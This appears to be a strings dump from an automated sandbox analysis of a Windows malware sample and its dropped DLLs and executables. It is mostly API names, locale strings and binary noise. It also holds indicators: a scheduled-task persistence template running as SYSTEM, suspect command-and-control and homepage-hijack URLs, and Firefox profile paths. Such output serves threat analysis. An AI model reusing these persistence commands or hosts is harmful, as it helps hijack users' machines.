Ansi based on Runtime Data (CPK.exe )
G?4???^Y
Ansi based on Runtime Data (rundll32.exe )
g?9???.>?Q???
Ansi based on Runtime Data (rundll32.exe )
g?<?_????1??<T?2??
Ansi based on Runtime Data (rundll32.exe )
g??&??????
Ansi based on Runtime Data (rundll32.exe )
g??; #j??j?,?0k ??3???
Ansi based on Runtime Data (rundll32.exe )
G???$??#?X??B/5??????^?+s??oI&?<??8<???|Y
Ansi based on Runtime Data (rundll32.exe )
G?cK=c?60
Ansi based on Runtime Data (rundll32.exe )
G?i???l??????+??????.
Ansi based on Runtime Data (rundll32.exe )
G?V(M?
Ansi based on Runtime Data (rundll32.exe )
G[1{& o4a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g^^qt67pt7(!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g^wRO#8L>
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GBH63jB
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GBk%>>l14,v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GBSbcfOhZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GDI32.dll
Ansi based on Dropped File (hhhhh.exe.655875088)
ge-item" path="history" on-click="onItemClick_"> $i18n{historyMenuItem} <paper-ripple></paper-ripple> </a> <a href="/syncedTabs" class="page-item" path="syncedTabs" on-click="onItemClick_"> $i18n{openTabsMenuItem} <p
Ansi based on Runtime Data (CPK.exe )
Generate Local Sequence Numbers
Unicode based on Dropped File (ttttt.exe.179545488)
Generation
Unicode based on Runtime Data (rundll32.exe )
generic
Ansi based on Dropped File (kokoko.dll.2691425955)
generic-type-
Ansi based on Dropped File (kokoko.dll.2691425955)
german-austrian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
german-lichtenstein
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
german-luxembourg
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
german-swiss
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetACP
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetActiveWindow
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetAdaptersAddresses
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
GetCommandLineA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCommandLineW
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
GetConsoleCP
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetConsoleMode
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetConsoleScreenBufferInfo
Ansi based on Dropped File (hhhhh.exe.655875088)
GetCPInfo
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentDirectoryW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentPackageId
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentProcess
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentProcessId
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentProcessorNumber
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentThread
Ansi based on Dropped File (kokoko.dll.2691425955)
GetCurrentThreadId
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetDateFormatEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetDateFormatW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetDeviceCaps
Ansi based on Dropped File (hhhhh.exe.655875088)
GetDlgItem
Ansi based on Dropped File (hhhhh.exe.655875088)
GetDriveTypeW
Ansi based on Dropped File (hhhhh.exe.655875088)
GetEnvironmentStringsW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetEnvironmentVariableW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetFileAttributesA
Ansi based on Dropped File (MIO.dll.1862922135)
GetFileAttributesW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetFileInformationByHandleExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetFileSize
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
GetFileType
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetFileVersionInfoExW
Ansi based on Dropped File (ttttt.exe.179545488)
GetFileVersionInfoSizeExW
Ansi based on Dropped File (ttttt.exe.179545488)
GetFileVersionInfoSizeW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetFileVersionInfoW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetLastActivePopup
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetLastError
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetLocaleInfoEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetLocaleInfoW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetLocalTime
Ansi based on Dropped File (psi.dll.1283195511)
GetLogicalDriveStringsA
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
GetLogicalProcessorInformation
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetLongPathNameW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetMessageW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetModuleFileNameA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetModuleFileNameW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetModuleHandleA
Ansi based on Dropped File (ttttt.exe.179545488)
GetModuleHandleExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetModuleHandleW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetNumberOfConsoleInputEvents
Ansi based on Dropped File (hhhhh.exe.655875088)
GetOEMCP
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetPrivateProfileStringW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetProcAddress
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetProcessHeap
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetProcessTimes
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
GetProcessUserModeExceptionPolicy
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
GetProcessWindowStation
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetStartupInfoW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetStdHandle
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetStringTypeW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetSysColorBrush
Ansi based on Dropped File (hhhhh.exe.655875088)
GetSystemDirectoryW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
GetSystemTimeAsFileTime
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetTempFileNameW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetTickCount
Ansi based on Dropped File (kokoko.dll.2691425955)
GetTickCount64
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetTimeFormatEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetTimeFormatW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetTimeZoneInformation
Ansi based on Dropped File (kokoko.dll.2691425955)
GetTokenInformation
Ansi based on Dropped File (hhhhh.exe.655875088)
GetTraceEnableFlags
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
GetTraceEnableLevel
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
GetTraceLoggerHandle
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
GetUserDefaultLCID
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetUserDefaultLocaleName
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetUserObjectInformationW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetVersion
Ansi based on Dropped File (hhhhh.exe.655875088)
GetVersionExW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
GetVolum
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
GetVolumeInformationW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
geUser
Unicode based on Dropped File (ttttt.exe.179545488)
GF??V???@?
Ansi based on Runtime Data (rundll32.exe )
gfile of n Mbytes
Unicode based on Dropped File (ttttt.exe.179545488)
gger %I64d
Unicode based on Dropped File (ttttt.exe.179545488)
gh memory to allocate %s filter.
Unicode based on Dropped File (ttttt.exe.179545488)
GHi>"##0*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
gI@X|jSm9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GISTRY_HIVE
Unicode based on Dropped File (ttttt.exe.179545488)
gland
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
gle as part of the polymer project is alsosubject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt--> @licenseCopyright (c) 2015 The Polymer Project Authors. All rights reserved.This code may only be used under the BSD sty
Ansi based on Runtime Data (CPK.exe )
glish
Unicode based on Dropped File (hhhhh.exe.655875088)
glish-american
Unicode based on Dropped File (hhhhh.exe.655875088)
glish-jamaica
Unicode based on Dropped File (hhhhh.exe.655875088)
glish-us
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GlN`/>m|4Zf
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Global Sequence numbers in use
Unicode based on Dropped File (ttttt.exe.179545488)
Global\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
Global\PROCEXP152
Unicode based on Dropped File (hhhhh.exe.655875088)
GlobalAlloc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GlobalFree
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GlobalLogger
Unicode based on Dropped File (ttttt.exe.179545488)
GlobalLogger is not running
Unicode based on Dropped File (ttttt.exe.179545488)
GlobalSession
Unicode based on Runtime Data (QQBrowser.exe )
GlobalUserOffline
Unicode based on Runtime Data (QQBrowser.exe )
gO`]_xo4N
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Google Hangouts
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
Google Hangouts
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
graph
Ansi based on Dropped File (kokoko.dll.2691425955)
great britain
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Group ID in Stack Walking Parameter File has to be between 00 and FF.
Ansi based on Dropped File (ttttt.exe.179545488)
GroupMask ExtItem
Unicode based on Dropped File (ttttt.exe.179545488)
gu-in
Unicode based on Dropped File (hhhhh.exe.655875088)
gu-IN
Unicode based on Dropped File (UAC.dll.626400535)
Guid Level Flags
Unicode based on Dropped File (ttttt.exe.179545488)
Guid Enabled LoggerId Level Flags
Unicode based on Dropped File (ttttt.exe.179545488)
GUID %s
Unicode based on Dropped File (ttttt.exe.179545488)
GUID = %s Instance Count = %d
Unicode based on Dropped File (ttttt.exe.179545488)
GUID for PRIVATE loggers
Unicode based on Dropped File (ttttt.exe.179545488)
Guid: %s
Unicode based on Dropped File (ttttt.exe.179545488)
gY}.}VL~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g|uO!|u
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
h > 0" class="hlisting"> <tr><td jsselect="file_extensions"> <span dir="ltr" jscontent="'.' + $this"> </td></tr> </table>
Ansi based on Runtime Data (CPK.exe )
h space for stdio initialization
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
h$-T,a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h$@ssJc6b!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h-africa
Unicode based on Dropped File (hhhhh.exe.655875088)
h-bolivia
Unicode based on Dropped File (hhhhh.exe.655875088)
h-chile
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h-colombia
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h-dominican republic
Unicode based on Dropped File (hhhhh.exe.655875088)
h-korea
Unicode based on Dropped File (hhhhh.exe.655875088)
h-peru
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h-usa
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
H.data
Ansi based on Dropped File (hhhhh.exe.655875088)
h.rdata
Ansi based on Dropped File (hhhhh.exe.655875088)
h/;A)7H?Z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
H/Ss%h5+ d
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
H025412wb
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
H0ihnh@$d
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
H1`r)oef'e
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm-7 12h-2v-2h2v2zm0-4h-2V6h2v4z"/></g><g id="sync"><path d="M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8zm0 14c-3.31 0-6-2
Ansi based on Runtime Data (CPK.exe )
h6./Q6MTu
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h6~Yx7bhZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h:3aTb`"c$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h<Of{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
H>7?NUms=
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h???8?n?:????
Ansi based on Runtime Data (rundll32.exe )
h\uSfbEKh+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HAL.dll
Ansi based on Dropped File (hhhhh.exe.655875088)
Handle
Unicode based on Dropped File (hhhhh.exe.655875088)
Handle close aborted.
Ansi based on Dropped File (hhhhh.exe.655875088)
Handle closed.
Ansi based on Dropped File (hhhhh.exe.655875088)
Handle requires Windows XP or higher.
Ansi based on Dropped File (hhhhh.exe.655875088)
Handle type summary:
Ansi based on Dropped File (hhhhh.exe.655875088)
Handle v4.0
Ansi based on Dropped File (hhhhh.exe.655875088)
HandleCreate
Unicode based on Dropped File (ttttt.exe.179545488)
HandleDuplicate
Unicode based on Dropped File (ttttt.exe.179545488)
Handles
Unicode based on Dropped File (ttttt.exe.179545488)
HARD_FAULTS
Unicode based on Dropped File (ttttt.exe.179545488)
HardFaults
Unicode based on Dropped File (ttttt.exe.179545488)
HasNavigationEnum
Unicode based on Runtime Data (rundll32.exe )
hcY>R9s9S
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HDPUg<N}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
he-IL
Unicode based on Dropped File (hhhhh.exe.655875088)
HeaderExclusionListForCache
Unicode based on Runtime Data (QQBrowser.exe )
HeapAlloc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HeapDestroy
Ansi based on Dropped File (psi.dll.1283195511)
HeapFree
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HeapReAlloc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HeapSetInformation
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
HeapSize
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hEIbIZe
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hell.exe
Unicode based on Dropped File (kokoko.dll.2691425955)
help subpage-title-extra" is="paper-icon-button-light" on-tap="onHelpTap_"></button> <site-settings-category selected-site="{{selectedSite}}" category="{{ContentSettingsTypes.JAVASCRIPT}}"> </site-s
Ansi based on Runtime Data (CPK.exe )
HelperDllName
Unicode based on Runtime Data (QQBrowser.exe )
hEz6Pu[ek
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hg>76^L
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HH:mm:ss
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Hh|v9Cp O_
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hi-in
Unicode based on Dropped File (hhhhh.exe.655875088)
Hidden
Unicode based on Runtime Data (rundll32.exe )
HideFileExt
Unicode based on Runtime Data (rundll32.exe )
HideFolderVerbs
Unicode based on Runtime Data (rundll32.exe )
HideIcons
Unicode based on Runtime Data (rundll32.exe )
HideInWebView
Unicode based on Runtime Data (rundll32.exe )
HideOnDesktopPerUser
Unicode based on Runtime Data (rundll32.exe )
his.contentURL(),this.contentType(),lazyContent);}return this._originalContentProvider;}setSourceMapURL(sourceMapURL){var completeSourceMapURL=this.sourceURL&&sourceMapURL?Common.ParsedURL.completeURL(this.sourceURL,sourceMapURL):sourceMapURL;this.sourceMa
Ansi based on Runtime Data (CPK.exe )
History
Unicode based on Runtime Data (QQBrowser.exe )
HK:lJTC":NyG
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HKU\S
Unicode based on Dropped File (hhhhh.exe.655875088)
Hm#nU{PN
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hong-kong
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
host unreachable
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
host_unreachable
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Hostname
Unicode based on Runtime Data (QQBrowser.exe )
HOURLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (MIO.dll.1862922135)
HPAGE
Ansi based on Dropped File (hhhhh.exe.655875088)
hq#12M='0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hQaSP
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hr-hr
Unicode based on Dropped File (hhhhh.exe.655875088)
hr-HR
Unicode based on Dropped File (hhhhh.exe.655875088)
hromium Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */body { font-size: 80%;}button { display: block; font-size: 110%; font-weight: bold; margin: 10px aut
Ansi based on Runtime Data (CPK.exe )
HSI-rTQJ_
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Ht#jXj8E
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
htasks /Delete /TN "%s" /F
Unicode based on Dropped File (MIO.dll.1862922135)
HtRjXjf9E
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
http://api.suibianmaimaicom.com/
Ansi based on Dropped File (MIO.dll.1862922135)
http://dhxx2phjrf4w5.cloudfront.net/v4/
Ansi based on Dropped File (MIO.dll.1862922135)
http://www.ourluckysites.com/?type=hp&ts=1493314713&z=4efc9b754986ee2f2a87012g2zbt4c1c6g6z7q2c8o&from=che0812&uid=VBOXXHARDDISK_VB47a275fd-833fcbff
Ansi based on Runtime Data (QQBrowser.exe )
HttpDefaultExpiryTimeSecs
Unicode based on Runtime Data (QQBrowser.exe )
hu-HU
Unicode based on Dropped File (UAC.dll.626400535)
hwc_AXI_BEATS_WRITE','Write Beats');this.addMMUCounter('mali_hwc_MMU_TABLE_WALK','Page Table Walks');this.addMMUCounter('mali_hwc_MMU_REPLAY_MISS','Cache Miss from Replay Buffer');this.addMMUCounter('mali_hwc_MMU_REPLAY_FULL','Replay Buffer Full');this.addMMUC
Ansi based on Runtime Data (CPK.exe )
hWYcHab
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hy-AM
Unicode based on Dropped File (hhhhh.exe.655875088)
hy-am
Unicode based on Dropped File (hhhhh.exe.655875088)
Hybrid Shutdown: %s
Unicode based on Dropped File (ttttt.exe.179545488)
h{o;nf
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h|Dv\->s>
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
H|q+#g@/QQ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h|W@j~zy
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
I!J9{P.KpL}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
i,n??=??S?
Ansi based on Runtime Data (rundll32.exe )
i-ms-win-eventing-controller-l1-1-0
Unicode based on Dropped File (ttttt.exe.179545488)
I141064:2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
I141064:234u]w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
I8r<)^5+Z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
I?0?^
Ansi based on Runtime Data (rundll32.exe )
i??,?\q????)?
Ansi based on Runtime Data (rundll32.exe )
I??@?*????1o??
Ansi based on Runtime Data (rundll32.exe )
i??g?N?L?h?%d
Ansi based on Runtime Data (rundll32.exe )
I??z#??~?^??3<?A??s
Ansi based on Runtime Data (rundll32.exe )
i?@?s?
Ansi based on Runtime Data (rundll32.exe )
i@?1R??
Ansi based on Runtime Data (rundll32.exe )
I]y(UIU
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
i`BveR Yv
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ian-bokmal
Unicode based on Dropped File (hhhhh.exe.655875088)
ian-nynorsk
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
iator',title:Common.UIString('Initiator'),visible:true,weight:10,sortingFunction:Network.NetworkDataGridNode.InitiatorComparator},{id:'cookies',title:Common.UIString('Cookies'),align:UI.DataGrid.Align.Right,sortingFunction:Network.NetworkDataGridNode.RequestCo
Ansi based on Runtime Data (CPK.exe )
iB)#@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ibmGs1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
icalDrive%d
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
ican english
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ice failed (%d)
Ansi based on Dropped File (MIO.dll.1862922135)
ice\PROCEXP152
Unicode based on Dropped File (hhhhh.exe.655875088)
icon.hidden = (browserSection.id !== deviceStatus.browserId); updateBrowserVisibility(browserSection); } Array.prototype.forEach.call( deviceSection.querySelectorAll('.browser'), updatePortForwardingInfo); updateUsernameVis
Ansi based on Runtime Data (CPK.exe )
IconsOnly
Unicode based on Runtime Data (rundll32.exe )
id Enabled LoggerId Level Flags
Unicode based on Dropped File (ttttt.exe.179545488)
Id Name Interval Min Max
Ansi based on Dropped File (ttttt.exe.179545488)
ID using -sessionguid parameter
Unicode based on Dropped File (ttttt.exe.179545488)
id-ID
Unicode based on Dropped File (UAC.dll.626400535)
id.3','%TEMP%\csw3C06.tmp')
Unicode based on Runtime Data (powershell.exe )
id2 ... >
Unicode based on Dropped File (ttttt.exe.179545488)
IDB_OFFICE2007_RIBBON_BTN_GROUP_F
Unicode based on Runtime Data (rundll32.exe )
identCore.dll
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
identifier removed
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
iders
Unicode based on Dropped File (ttttt.exe.179545488)
iders in file
Unicode based on Dropped File (ttttt.exe.179545488)
IDLE_STATES
Unicode based on Dropped File (ttttt.exe.179545488)
IdnEnabled
Unicode based on Runtime Data (QQBrowser.exe )
Ids\Microsoft.Power
Unicode based on Dropped File (psi.dll.1283195511)
IE8CoreInstalled
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
ient.D
Unicode based on Dropped File (psi.dll.1283195511)
IETldDllVersionHigh
Unicode based on Runtime Data (QQBrowser.exe )
IETldDllVersionLow
Unicode based on Runtime Data (QQBrowser.exe )
IETldVersionHigh
Unicode based on Runtime Data (QQBrowser.exe )
IETldVersionLow
Unicode based on Runtime Data (QQBrowser.exe )
iew */function ListView() { View.call(this, createElement("div", ListView.ClassNameListView)); this.element.tabIndex = 0; this.element.setAttribute("role", "grid"); /** * @type {!number} * @private */ this._width = 0;
Ansi based on Runtime Data (CPK.exe )
if (chrome.management) { chrome.runtime.onMessageExternal.addListener( function(message, sender, sendResponse) { function doSendResponse(value, errorString) { var error = null; if (errorString) { error =
Ansi based on Runtime Data (rundll32.exe )
if (cr.isChromeOS) this.updateEnabledInputMethods_(); for (var i = 0; i < this.languages.enabled.length; i++) { var languageState = this.languages.enabled[i]; this.set('languages.enabled.' + i + '.removable', this.canDisabl
Ansi based on Runtime Data (CPK.exe )
if sendBeacon is not enabled, we fallback for "a ping". var a = document.createElement('a'); a.href = '#'; a.ping = url; a.click(); }}<!doctype html><html><head> <meta charset="utf-8"> <title>Omnibox Debug Page</title> <link rel="st
Ansi based on Runtime Data (CPK.exe )
iG?9faxx F
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
iginalFilename
Unicode based on Dropped File (MIO.dll.1862922135)
il;iTdE5W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
iled %d
Unicode based on Dropped File (ttttt.exe.179545488)
ileMode
Unicode based on Dropped File (ttttt.exe.179545488)
ileNameW
Ansi based on Dropped File (MIO.dll.1862922135)
illa\Firefox\
Unicode based on Dropped File (kokoko.dll.2691425955)
illegal byte sequence
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ilter
Unicode based on Dropped File (ttttt.exe.179545488)
ilters
Unicode based on Dropped File (ttttt.exe.179545488)
Image Path
Unicode based on Runtime Data (CPK.exe )
ImageLoad
Unicode based on Dropped File (ttttt.exe.179545488)
ImagePath
Unicode based on Dropped File (hhhhh.exe.655875088)
ImageUnload
Unicode based on Dropped File (ttttt.exe.179545488)
IMD*>H"D,
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
imG9)=v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ImpersonateSelf
Ansi based on Dropped File (ttttt.exe.179545488)
in use
Unicode based on Dropped File (ttttt.exe.179545488)
inappropriate io control operation
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
incompatible version
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
incomplete distance tree
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
incomplete dynamic bit lengths tree
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
incomplete literal/length tree
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
incorrect data check
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
incorrect header check
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Independent
Unicode based on Dropped File (ttttt.exe.179545488)
indows\
Unicode based on Dropped File (MIO.dll.1862922135)
ine:tokenizer.tokenLineStart(),column:tokenizer.tokenColumnStart(),name:previousIdentifier};addedFunction=true;previousIdentifier=null;}else if(AT.punctuator(token,'.')&&previousToken&&AT.identifier(previousToken)){previousIdentifier+='.';}else if(AT.punctuato
Ansi based on Runtime Data (CPK.exe )
ineGuid
Unicode based on Dropped File (psi.dll.1283195511)
inese
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
inflate 1.1.3 Copyright 1995-1998 Mark Adler
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
InflateRect
Ansi based on Dropped File (hhhhh.exe.655875088)
information
Unicode based on Dropped File (ttttt.exe.179545488)
InfoTip
Unicode based on Runtime Data (rundll32.exe )
ing: Unidentified Key in the trace registry: %s
Unicode based on Dropped File (ttttt.exe.179545488)
ingdom
Unicode based on Dropped File (hhhhh.exe.655875088)
inidad & tobago
